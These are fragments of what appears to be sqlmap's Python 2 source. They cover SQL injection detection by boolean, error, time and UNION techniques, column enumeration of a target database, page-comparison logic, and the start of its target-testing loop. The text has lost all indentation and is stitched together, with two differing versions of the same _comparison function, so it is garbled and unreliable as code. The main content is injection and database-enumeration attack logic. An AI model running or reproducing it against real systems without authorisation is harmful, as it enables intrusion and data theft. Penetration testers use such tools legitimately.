check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates, 1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other potential "
infoMsg += "injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = execute(conf.alert, shell=True)
process.wait()
kb.alerted = True
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = "unable to retrieve the current "
errMsg += "database name"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.inband.query % tbl
if dumpMode and colList:
values = [(_,) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, tbl, index)
value = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value,))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, tbl, index)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonPage = page
if page is None and pageLength is None:
return None
seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate)
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (
listToStrValue(headers.headers if headers else ""), page)
# String to match in page when the query is True and/or valid
if conf.string:
return conf.string in rawResponse
# String to match in page when the query is False and/or invalid
if conf.notString:
return conf.notString not in rawResponse
# Regular expression to match in page when the query is True and/or valid
if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
# HTTP code to match when the query is valid
if isinstance(code, int) and conf.code:
return conf.code == code
if page:
# In case of an DBMS error page return None
if kb.errorIsNone and (wasLastRequestDBMSError()
or wasLastRequestHTTPError()):
return None
# Dynamic content lines to be excluded before comparison
if not kb.nullConnection:
page = removeDynamicContent(page)
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))
if not pageLength:
pageLength = len(page)
if kb.nullConnection and pageLength:
if not seqMatcher.a:
errMsg = "problem occured while retrieving original page content "
errMsg += "which prevents sqlmap from continuation. Please rerun, "
errMsg += "and if the problem persists turn off any optimization switches"
raise sqlmapNoneDataException, errMsg
ratio = 1. * pageLength / len(seqMatcher.a)
if ratio > 1.:
ratio = 1. / ratio
else:
# Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING,
'ignore')
elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
seqMatcher.a = seqMatcher.a.encode(
kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
seq1, seq2 = None, None
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
else:
seq1 = getFilteredPageContent(
seqMatcher.a, True) if conf.textOnly else seqMatcher.a
seq2 = getFilteredPageContent(page,
True) if conf.textOnly else page
if seq1 is not None:
seqMatcher.set_seq1(seq1)
if seq2 is not None:
seqMatcher.set_seq2(seq2)
if seq1 is None or seq2 is None:
return None
else:
ratio = round(seqMatcher.quick_ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if kb.matchRatio is None:
if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
kb.matchRatio = ratio
logger.debug("setting match ratio for current parameter to %.3f" %
kb.matchRatio)
# If it has been requested to return the ratio and not a comparison
# response
if getRatioValue:
return ratio
elif ratio > UPPER_RATIO_BOUND:
return True
elif kb.matchRatio is None:
return None
else:
return (ratio - kb.matchRatio) > DIFF_TOLERANCE
def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else ""
threadData.lastComparisonPage = page
if page is None and pageLength is None:
return None
seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate)
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page)
# String to match in page when the query is True and/or valid
if conf.string:
return conf.string in rawResponse
# String to match in page when the query is False and/or invalid
if conf.notString:
return conf.notString not in rawResponse
# Regular expression to match in page when the query is True and/or valid
if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
# HTTP code to match when the query is valid
if conf.code:
return conf.code == code
if page:
# In case of an DBMS error page return None
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
return None
# Dynamic content lines to be excluded before comparison
if not kb.nullConnection:
page = removeDynamicContent(page)
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))
if not pageLength:
pageLength = len(page)
if kb.nullConnection and pageLength:
if not seqMatcher.a:
errMsg = "problem occurred while retrieving original page content "
errMsg += "which prevents sqlmap from continuation. Please rerun, "
errMsg += "and if the problem persists turn off any optimization switches"
raise SqlmapNoneDataException(errMsg)
ratio = 1. * pageLength / len(seqMatcher.a)
if ratio > 1.:
ratio = 1. / ratio
else:
# Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
seq1, seq2 = None, None
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
else:
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
if seq1 is None or seq2 is None:
return None
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
count = 0
while count < min(len(seq1), len(seq2)):
if seq1[count] == seq2[count]:
count += 1
else:
break
if count:
seq1 = seq1[count:]
seq2 = seq2[count:]
while True:
try:
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
except MemoryError:
seq1 = seq1[:len(seq1) / 4]
seq2 = seq2[:len(seq2) / 4]
else:
break
ratio = round(seqMatcher.quick_ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if kb.matchRatio is None:
if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
kb.matchRatio = ratio
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
# If it has been requested to return the ratio and not a comparison
# response
if getRatioValue:
return ratio
elif ratio > UPPER_RATIO_BOUND:
return True
elif kb.matchRatio is None:
return None
else:
return (ratio - kb.matchRatio) > DIFF_TOLERANCE
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if not conf.start:
return False
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not conf.forms:
kb.targetUrls.add((conf.url, conf.method, conf.data, conf.cookie))
if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0
cookieStr = ""
setCookieAsInjectable = True
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
try:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters:
for parameter in re.findall(r"([^=]+)=[^&]+&?",
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter)
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
testSqlInj &= (conf.hostname, conf.path, None,
None) not in kb.testedParams
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms:
message = "[#%d] form:\n%s %s" % (
hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
else:
message = "url %d:\n%s %s%s" % (
hostCount, conf.method or HTTPMETHOD.GET, targetUrl,
" (PageRank: %s)" % get_pagerank(targetUrl)
if conf.googleDork and conf.pageRank else "")
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % urlencode(
conf.data) if conf.data else ""
if conf.forms:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
if conf.method == HTTPMETHOD.POST:
message = "Edit POST data [default: %s]%s: " % (
urlencode(conf.data) if conf.data else "None",
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data) else
"")
conf.data = readInput(message, default=conf.data)
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX,
conf.data):
message = "do you want to fill blank fields with random values? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
while extractRegexResult(
EMPTY_FORM_FIELDS_REGEX,
conf.data):
item = extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data)
if item[-1] == '&':
conf.data = conf.data.replace(
item, "%s%s&" %
(item[:-1], randomStr()))
else:
conf.data = conf.data.replace(
item,
"%s%s" % (item, randomStr()))
conf.data = urldecode(conf.data)
elif conf.method == HTTPMETHOD.GET:
if conf.url.find("?") > -1:
firstPart = conf.url[:conf.url.find("?")]
secondPart = conf.url[conf.url.find("?") + 1:]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
conf.url = "%s?%s" % (firstPart, test)
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
elif conf.realTest:
logger.info(message)
else:
message += "\ndo you want to test this url? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
logMsg = "testing url %s" % targetUrl
logger.info(logMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
if conf.nullConnection:
checkNullConnection()
if not conf.dropSetCookie and conf.cj:
for _, cookie in enumerate(conf.cj):
cookie = getUnicode(cookie)
index = cookie.index(" for ")
cookieStr += "%s;" % cookie[8:index]
if cookieStr:
cookieStr = cookieStr[:-1]
